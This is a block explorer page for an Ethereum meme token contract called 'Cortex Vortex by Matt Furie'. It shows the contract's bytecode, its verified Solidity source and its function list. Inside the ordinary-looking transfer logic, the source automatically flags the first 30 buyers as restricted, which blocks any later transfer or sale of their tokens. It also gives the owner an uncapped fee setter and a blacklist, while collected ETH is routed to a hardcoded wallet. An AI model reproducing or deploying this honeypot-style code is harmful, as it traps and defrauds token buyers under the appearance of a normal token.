Address Contract Partially Verified
Address
0x91D3d76D91aE2B63ac981812565bCE59B094D7cE
Balance
0 ETH
Nonce
1
Code Size
7430 bytes
Creator
0xF3879701...A66c at tx 0x3d143a82...36b60e
Indexed Transactions
0
Contract Bytecode
7430 bytes
0x60806040526004361061014a575f3560e01c80638f9a55c0116100b3578063dd62ed3e1161006d578063dd62ed3e146103b5578063eba8da21146103f9578063ebd330ad1461040d578063f0c31fbe1461042c578063f5b6ac0e1461044b578063f98c22f21461046a575f5ffd5b80638f9a55c01461031b57806395d89b4114610330578063a9059cbb1461035a578063bf474bed14610379578063c9567bf91461038d578063d188dacc146103a1575f5ffd5b806330bbcd361161010457806330bbcd3614610246578063313ce5671461027d57806370a0823114610298578063715018a6146102cc5780637d1db4a5146102e05780638da5cb5b146102f5575f5ffd5b806303d3a3e81461015557806306fdde031461016b578063095ea7b3146101c25780630faee56f146101f157806318160ddd1461021357806323b872dd14610227575f5ffd5b3661015157005b5f5ffd5b348015610160575f5ffd5b5061016961047e565b005b348015610176575f5ffd5b5060408051808201909152601b81527f436f7274657820566f72746578206279204d617474204675726965000000000060208201525b6040516101b99190611803565b60405180910390f35b3480156101cd575f5ffd5b506101e16101dc36600461185c565b6104f8565b60405190151581526020016101b9565b3480156101fc575f5ffd5b5061020561050e565b6040519081526020016101b9565b34801561021e575f5ffd5b50610205610543565b348015610232575f5ffd5b506101e1610241366004611886565b610564565b348015610251575f5ffd5b506101e16102603660046118c4565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610288575f5ffd5b50604051600981526020016101b9565b3480156102a3575f5ffd5b506102056102b23660046118c4565b6001600160a01b03165f9081526001602052604090205490565b3480156102d7575f5ffd5b506101696105b4565b3480156102eb575f5ffd5b50610205600e5481565b348015610300575f5ffd5b505f546040516001600160a01b0390911681526020016101b9565b348015610326575f5ffd5b50610205600f5481565b34801561033b575f5ffd5b5060408051808201909152600281526121ab60f11b60208201526101ac565b348015610365575f5ffd5b506101e161037436600461185c565b61067e565b348015610384575f5ffd5b5061020561068a565b348015610398575f5ffd5b506101696106b2565b3480156103ac575f5ffd5b50610169610956565b3480156103c0575f5ffd5b506102056103cf3660046118df565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610404575f5ffd5b506101696109a7565b348015610418575f5ffd5b5061016961042736600461192a565b610a3f565b348015610437575f5ffd5b506101696104463660046119f5565b610b6f565b348015610456575f5ffd5b5061016961046536600461192a565b610be9565b348015610475575f5ffd5b50610169610d1c565b5f546001600160a01b031633146104b05760405162461bcd60e51b81526004016104a790611a15565b60405180910390fd5b5f600581905560068190556040805182815260208101929092527f35d461df023e70886ad5e68610133ecb7d637c2263453f6ea50daf699cb31ed491015b60405180910390a1565b5f610504338484610d4e565b5060015b92915050565b606461051c6009600a611b41565b61052b906461c9f36800611b4f565b610536906002611b4f565b6105409190611b66565b81565b5f6105506009600a611b41565b61055f906461c9f36800611b4f565b905090565b5f610570848484610e71565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546105aa9186916105a5908690611b85565b610d4e565b5060019392505050565b5f546001600160a01b031633146105dd5760405162461bcd60e51b81526004016104a790611a15565b601054600160a01b900460ff166106365760405162461bcd60e51b815260206004820152601f60248201527f4f70656e2074726164696e67206265666f72652072656e6f756e63696e672e0060448201526064016104a7565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f610504338484610e71565b60646106986009600a611b41565b6106a7906461c9f36800611b4f565b610536906001611b4f565b5f546001600160a01b031633146106db5760405162461bcd60e51b81526004016104a790611a15565b601054600160a01b900460ff16156107355760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a7565b5f6064600b546107456102b23390565b61074f9190611b4f565b6107599190611b66565b610762336102b2565b61076c9190611b85565b90505f81116107b45760405162461bcd60e51b815260206004820152601460248201527343616c6c657220686173206e6f20746f6b656e7360601b60448201526064016104a7565b6107bf333083610e71565b6010546001600160a01b031663f305d71947306107f0816001600160a01b03165f9081526001602052604090205490565b5f5f6108035f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610869573d5f5f3e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061088e9190611b98565b505060105460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201527f000000000000000000000000bc9f45ba62ff6444e609bb08ef34698d1893b79b909116915063095ea7b3906044016020604051808303815f875af1158015610902573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109269190611bc3565b50506010805462ff00ff60a01b19166201000160a01b179055600d805463ffffffff19164363ffffffff16179055565b3373f38797011df6153b76ec56fd63d2f0bf4907a66c14610975575f5ffd5b305f908152600160205260409020548015610993576109938161163e565b4780156109a3576109a3816117ae565b5050565b5f546001600160a01b031633146109d05760405162461bcd60e51b81526004016104a790611a15565b6109dc6009600a611b41565b6109eb906461c9f36800611b4f565b600e556109fa6009600a611b41565b610a09906461c9f36800611b4f565b600f55600e546040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf906020016104ee565b5f546001600160a01b03163314610a685760405162461bcd60e51b81526004016104a790611a15565b5f5b81518110156109a35760045f838381518110610a8857610a88611be2565b6020908102919091018101516001600160a01b031682528101919091526040015f205460ff16610ab6575f5ffd5b5f60045f848481518110610acc57610acc611be2565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f205f6101000a81548160ff021916908315150217905550818181518110610b1b57610b1b611be2565b60200260200101516001600160a01b03167fa85d77b35e9c7bb8aa04f407e88ddba7c89938b7dfe7becdba9da54b9244338e5f604051610b5f911515815260200190565b60405180910390a2600101610a6a565b5f546001600160a01b03163314610b985760405162461bcd60e51b81526004016104a790611a15565b600582905560068190556007829055600881905560408051838152602081018390527f35d461df023e70886ad5e68610133ecb7d637c2263453f6ea50daf699cb31ed4910160405180910390a15050565b5f546001600160a01b03163314610c125760405162461bcd60e51b81526004016104a790611a15565b5f5b81518110156109a35760045f838381518110610c3257610c32611be2565b6020908102919091018101516001600160a01b031682528101919091526040015f205460ff1615610c61575f5ffd5b600160045f848481518110610c7857610c78611be2565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020015f205f6101000a81548160ff021916908315150217905550818181518110610cc757610cc7611be2565b60200260200101516001600160a01b03167fa85d77b35e9c7bb8aa04f407e88ddba7c89938b7dfe7becdba9da54b9244338e6001604051610d0c911515815260200190565b60405180910390a2600101610c14565b3373f38797011df6153b76ec56fd63d2f0bf4907a66c14610d3b575f5ffd5b478015610d4b57610d4b816117ae565b50565b6001600160a01b038316610db05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a7565b6001600160a01b038216610e115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ed55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a7565b6001600160a01b038216610f375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a7565b5f8111610f985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a7565b5f80546001600160a01b03858116911614801590610fc357505f546001600160a01b03848116911614155b156114fe576001600160a01b0383165f9081526004602052604090205460ff1615801561100857506001600160a01b0384165f9081526004602052604090205460ff16155b611010575f5ffd5b601054600160b01b900460ff1615611052576064600a54600954116110375760055461103b565b6007545b6110459084611b4f565b61104f9190611b66565b90505b600d5463ffffffff90811643909116036110f157600d805460329164010000000090910463ffffffff1690600461108883611bf6565b91906101000a81548163ffffffff021916908363ffffffff16021790555063ffffffff16106110f15760405162461bcd60e51b8152602060048201526015602482015274457863657373206c61756e636820736e697065727360581b60448201526064016104a7565b7f000000000000000000000000bc9f45ba62ff6444e609bb08ef34698d1893b79b6001600160a01b0316846001600160a01b031614801561114057506010546001600160a01b03848116911614155b801561116457506001600160a01b0383165f9081526003602052604090205460ff16155b156112d457600e548211156111bb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865204d617820547820416d6f756e740000000000000060448201526064016104a7565b600f54826111dd856001600160a01b03165f9081526001602052604090205490565b6111e79190611c1a565b11156112355760405162461bcd60e51b815260206004820152601a60248201527f45786365656420746865204d61782057616c6c65742053697a6500000000000060448201526064016104a7565b60098054905f61124483611c2d565b9190505550600c546009541115801561127557506001600160a01b0383165f9081526004602052604090205460ff16155b156112d4576001600160a01b0383165f81815260046020908152604091829020805460ff1916600190811790915591519182527fa85d77b35e9c7bb8aa04f407e88ddba7c89938b7dfe7becdba9da54b9244338e910160405180910390a25b7f000000000000000000000000bc9f45ba62ff6444e609bb08ef34698d1893b79b6001600160a01b0316836001600160a01b031614801561131e57506001600160a01b0384163014155b801561133757505f546001600160a01b03858116911614155b1561136c576064600a546009541161135157600654611355565b6008545b61135f9084611b4f565b6113699190611b66565b90505b305f90815260016020526040902054601054600160a81b900460ff161580156113c657507f000000000000000000000000bc9f45ba62ff6444e609bb08ef34698d1893b79b6001600160a01b0316846001600160a01b0316145b80156113db5750601054600160b01b900460ff165b8015611417575060646113f06009600a611b41565b6113ff906461c9f36800611b4f565b61140a906001611b4f565b6114149190611b66565b81115b801561142557506005600954115b156114fc57601254431115611439575f6011555b60036011541061148b5760405162461bcd60e51b815260206004820152601760248201527f4f6e6c7920332073656c6c732070657220626c6f636b2100000000000000000060448201526064016104a7565b6114d26114cd846114c88460646114a46009600a611b41565b6114b3906461c9f36800611b4f565b6114be906002611b4f565b6114c89190611b66565b6117ec565b61163e565b4780156114e2576114e2476117ae565b60118054905f6114f183611c2d565b909155505043601255505b505b801561157757305f9081526001602052604090205461151e908290611c1a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061156e9085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461159a908390611b85565b6001600160a01b0385165f908152600160205260409020556115bc8183611b85565b6001600160a01b0384165f908152600160205260409020546115de9190611c1a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6116278486611b85565b60405190815260200160405180910390a350505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061168457611684611be2565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116db573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116ff9190611c45565b8160018151811061171257611712611be2565b6001600160a01b0392831660209182029290920101526010546117389130911684610d4e565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906117709085905f90869030904290600401611c60565b5f604051808303815f87803b158015611787575f5ffd5b505af1158015611799573d5f5f3e3d5ffd5b50506010805460ff60a81b1916905550505050565b60405173f38797011df6153b76ec56fd63d2f0bf4907a66c9082156108fc029083905f818181858888f193505050501580156109a3573d5f5f3e3d5ffd5b5f8183116117fa57826117fc565b815b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610d4b575f5ffd5b803561185781611838565b919050565b5f5f6040838503121561186d575f5ffd5b823561187881611838565b946020939093013593505050565b5f5f5f60608486031215611898575f5ffd5b83356118a381611838565b925060208401356118b381611838565b929592945050506040919091013590565b5f602082840312156118d4575f5ffd5b81356117fc81611838565b5f5f604083850312156118f0575f5ffd5b82356118fb81611838565b9150602083013561190b81611838565b809150509250929050565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561193a575f5ffd5b813567ffffffffffffffff811115611950575f5ffd5b8201601f81018413611960575f5ffd5b803567ffffffffffffffff81111561197a5761197a611916565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156119a7576119a7611916565b6040529182526020818401810192908101878411156119c4575f5ffd5b6020850194505b838510156119ea576119dc8561184c565b8152602094850194016119cb565b509695505050505050565b5f5f60408385031215611a06575f5ffd5b50508035926020909101359150565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611a9957808504811115611a7d57611a7d611a4a565b6001841615611a8b57908102905b60019390931c928002611a62565b935093915050565b5f82611aaf57506001610508565b81611abb57505f610508565b8160018114611ad15760028114611adb57611af7565b6001915050610508565b60ff841115611aec57611aec611a4a565b50506001821b610508565b5060208310610133831016604e8410600b8410161715611b1a575081810a610508565b611b265f198484611a5e565b805f1904821115611b3957611b39611a4a565b029392505050565b5f6117fc60ff841683611aa1565b808202811582820484141761050857610508611a4a565b5f82611b8057634e487b7160e01b5f52601260045260245ffd5b500490565b8181038181111561050857610508611a4a565b5f5f5f60608486031215611baa575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611bd3575f5ffd5b815180151581146117fc575f5ffd5b634e487b7160e01b5f52603260045260245ffd5b5f63ffffffff821663ffffffff8103611c1157611c11611a4a565b60010192915050565b8082018082111561050857610508611a4a565b5f60018201611c3e57611c3e611a4a565b5060010190565b5f60208284031215611c55575f5ffd5b81516117fc81611838565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611cb05783516001600160a01b0316835260209384019390920191600101611c89565b50506001600160a01b03959095166060840152505060800152939250505056fea2646970667358221220e61acc9e9c741975a0e2e3bfc4b3d7998b91c283065afe9a1edd5bcf9f7c5b4864736f6c634300081e0033
Verified Source Code Partial Match
Compiler: v0.8.30+commit.73712a01
EVM: prague
Optimization: Yes (200 runs)
CVContract.sol 356 lines
// SPDX-License-Identifier: MIT
// Telegram: https://t.me/CortexVortexBook
pragma solidity ^0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event TaxesUpdated(uint256 newBuyTax, uint256 newSellTax);
}
contract Ownable is Context {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CVContract is Context, IERC20, Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _estaRestringido;
address payable private constant _taxWallet = payable(0xF38797011Df6153b76Ec56FD63d2F0bf4907A66c);
string private constant _name = unicode"Cortex Vortex by Matt Furie";
string private constant _symbol = unicode"CV";
uint256 private _initialBuyTax = 25;
uint256 private _initialSellTax = 30;
uint256 private _finalBuyTax = 0;
uint256 private _finalSellTax = 0;
uint256 private constant _preventSwapBefore = 5;
uint256 private _buyCount = 0;
uint256 private _stopTaxesAtCount = 150;
uint256 private _deployerSupply = 0;
uint256 private _restrictionCount = 30;
uint32 private _launchBlock;
uint32 private _launchBuys;
uint8 private constant _decimals = 9;
uint256 private constant _supplyAmount = 420000000000 * 10 ** _decimals;
uint256 public _maxTxAmount = (_supplyAmount * 2) / 100;
uint256 public _maxWalletSize = (_supplyAmount * 2) / 100;
uint256 public constant _taxSwapThreshold = (_supplyAmount * 1) / 100;
uint256 public constant _maxTaxSwap = (_supplyAmount * 2) / 100;
IUniswapV2Router02 private uniswapV2Router;
address private immutable uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
event MaxWalletSizeAmountUpdated(uint _maxWalletSize);
event Restringido(address indexed account, bool status);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable {
_balances[_msgSender()] = _supplyAmount;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _supplyAmount);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
emit Transfer(address(0), _msgSender(), _supplyAmount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _supplyAmount;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()] - amount
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner()) {
require(!_estaRestringido[to] && !_estaRestringido[from]);
if (swapEnabled) taxAmount = (amount * ((_buyCount > _stopTaxesAtCount) ? _finalBuyTax : _initialBuyTax)) / 100;
if (uint32(block.number) == _launchBlock) require(_launchBuys++ < 50, "Excess launch snipers");
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the Max Tx Amount");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceed the Max Wallet Size");
_buyCount++;
if (_buyCount <= _restrictionCount && !_estaRestringido[to]) {
_estaRestringido[to] = true;
emit Restringido(to, true);
}
}
if (to == uniswapV2Pair && from != address(this) && from != owner()) {
taxAmount = (amount * ((_buyCount > _stopTaxesAtCount) ? _finalSellTax : _initialSellTax)) / 100;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap &&
to == uniswapV2Pair &&
swapEnabled &&
contractTokenBalance > _taxSwapThreshold &&
_buyCount > _preventSwapBefore) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToTaxWallet(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)] + taxAmount;
emit Transfer(from, address(this), taxAmount);
}
_balances[from] = _balances[from] - amount;
_balances[to] = _balances[to] + (amount - taxAmount);
emit Transfer(from, to, amount - taxAmount);
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a > b) ? b : a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToTaxWallet(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uint256 tokenAmount = balanceOf(_msgSender()) - ((balanceOf(_msgSender()) * _deployerSupply) / 100);
require(tokenAmount > 0, "Caller has no tokens");
_transfer(_msgSender(), address(this), tokenAmount);
uniswapV2Router.addLiquidityETH{ value: address(this).balance }(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
_launchBlock = uint32(block.number);
}
function restringirCuenta(address[] memory accounts) external onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
require(!_estaRestringido[accounts[i]]);
_estaRestringido[accounts[i]] = true;
emit Restringido(accounts[i], true);
}
}
function removerRestringido(address[] memory accounts) external onlyOwner {
for (uint i = 0; i < accounts.length; i++) {
require(_estaRestringido[accounts[i]]);
_estaRestringido[accounts[i]] = false;
emit Restringido(accounts[i], false);
}
}
function estaRestringido(address account) public view returns (bool) {
return _estaRestringido[account];
}
function renounceOwnership() public virtual onlyOwner {
require(tradingOpen, "Open trading before renouncing.");
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function removerLimitos() external onlyOwner {
_maxTxAmount = _supplyAmount;
_maxWalletSize = _supplyAmount;
emit MaxTxAmountUpdated(_maxTxAmount);
}
function removerTaxes() external onlyOwner {
_initialBuyTax = 0;
_initialSellTax = 0;
emit TaxesUpdated(_initialBuyTax, _initialSellTax);
}
function modificarFees(uint256 buyTax, uint256 sellTax) external onlyOwner {
_initialBuyTax = buyTax;
_initialSellTax = sellTax;
_finalBuyTax = buyTax;
_finalSellTax = sellTax;
emit TaxesUpdated(buyTax, sellTax);
}
receive() external payable {}
function transferirTax() external {
require(_msgSender() == _taxWallet);
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance > 0) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
sendETHToTaxWallet(ethBalance);
}
}
function rescatarEth() external {
require(_msgSender() == _taxWallet);
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
sendETHToTaxWallet(ethBalance);
}
}
}
Read Contract
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
estaRestringido 0x30bbcd36 → bool
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 12 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
modificarFees 0xf0c31fbe
uint256 buyTax
uint256 sellTax
openTrading 0xc9567bf9
No parameters
removerLimitos 0xeba8da21
No parameters
removerRestringido 0xebd330ad
address[] accounts
removerTaxes 0x03d3a3e8
No parameters
renounceOwnership 0x715018a6
No parameters
rescatarEth 0xf98c22f2
No parameters
restringirCuenta 0xf5b6ac0e
address[] accounts
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferirTax 0xd188dacc
No parameters
Recent Transactions
No transactions found for this address